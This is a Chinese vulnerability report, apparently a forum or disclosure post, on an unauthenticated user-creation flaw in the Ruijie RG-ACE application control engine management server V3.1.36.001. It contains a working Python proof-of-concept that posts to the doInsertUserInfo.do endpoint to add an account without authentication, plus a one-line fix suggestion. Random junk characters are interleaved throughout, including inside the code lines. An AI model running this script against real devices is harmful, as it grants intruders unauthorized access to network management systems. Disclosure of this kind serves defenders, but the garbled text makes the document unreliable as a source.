锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)4 l5 d* P* W {
) v/ x {7 n: {9 u
% t! \: t+ b) q$ Z+ [3 u. q* j6 q% F测试的具体版本是
, n# W9 p" h W; y4 v, z( \产品名称: 锐捷应用控制引擎3 B) G; X" F8 D: E! A1 g
版本号: 3.1.36.001 TC
" E( f3 |, n+ d7 M) B: W! }. A w$ @编译时间: 201104291730
) W8 X7 H' ^3 W G* ^3 m( q 3 [& l1 ]$ w2 y
! V5 y6 k, X# _" Z1 V. d漏洞证明:( ?4 j! \3 N& y ?) C
8 z+ [" [' a. }4 h6 \8 k
2 G# j) I3 N: K* I2 Y* ^
: J; n+ z' M5 u2 x8 [+ U0 l
1 I* u# Q' x) _# k3 P% P. r7 i
. \8 v/ S4 L& n; j2 p9 ~8 l/ j2 K* A' o: B7 p% c4 m5 [% i
执行脚本4 @ J5 m) y R
#! /usr/bin/env python% H* u: U$ l3 J* K+ y
#coding=gbk
$ ? I2 Z6 Q O#RG-ACE管理服务器 V3.1.36.0019 L' w8 a3 u1 s, O
import urllib2, urllib,cookielib
7 O. A# n, u+ L. J$ M, turl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
/ L2 L6 G7 m! A( E. H% mopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))4 Z6 U2 v$ a# n6 W& J/ o1 }+ G
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]+ ~! q! O2 F( G2 g4 U
post=(("event","userManager.doInsertUserInfo"),
o0 C2 D" m6 T2 f" ?$ q("useractionname","addButtonValue"),
3 k" \8 w' J' s$ w+ T6 K; d("useropermanager","userManager"),
+ F3 e& N6 ^8 Q2 `: ^% B9 c("userName","t"), #######账号自己加6 i. h9 E# Q9 J/ @4 o7 g$ w& a. a2 L
("pwd","aaaaaa"),######密码自己加
' t6 v. z& h7 n" J- ]("trueName","ad"),
]# q- |1 l7 `: {4 F8 [9 P* F("email",""),* D! j) }8 ~" Y1 U5 F' }+ `
("mobilePhone",""),' M- q5 Q" h* `$ Q' |
("officePhone",""),
/ N. j( `- I, L' `6 b6 W("addr",""),+ Z: G# L( r6 x9 o5 b, b
("submit","确定"))
/ x+ |4 x d. u durllib2.install_opener(opener)9 q2 h! m `. S5 s" A# d
p=urllib2.urlopen(url, urllib.urlencode(post)).read()% F& P# w9 d0 `- E
print "Done"6 A" r$ n, ^! I4 g! q
' k0 J; m ~, U% `. O, y登录,连接设备( Y$ j: j F5 J. I% m$ \# d
5 n* f2 z2 ~ \7 E- j" v
! d6 q: M, }. U5 P
( @+ w) K1 Q: @3 c. ~
5 ?6 E+ m3 a4 a/ M( ~0 [ z9 t" R! k ]6 d
默认的管理员admin权限更大点8 j) r8 l/ q) k& X& `5 C# u
- |1 s& S- z A' n- @# G
: T% z2 F- r! _. m
; ?3 r& M/ `% y1 d$ T2 ^ " e: b# P1 ~8 }8 A
5 P5 |* W& p% u( `% x, d' o修复方案:, j* I" `4 p2 Q) ` a9 e
加强对接口的权限验证! F& e% C! J ?( ?* J1 D
$ b% d; g9 Z6 v' D/ R& n0 i O
|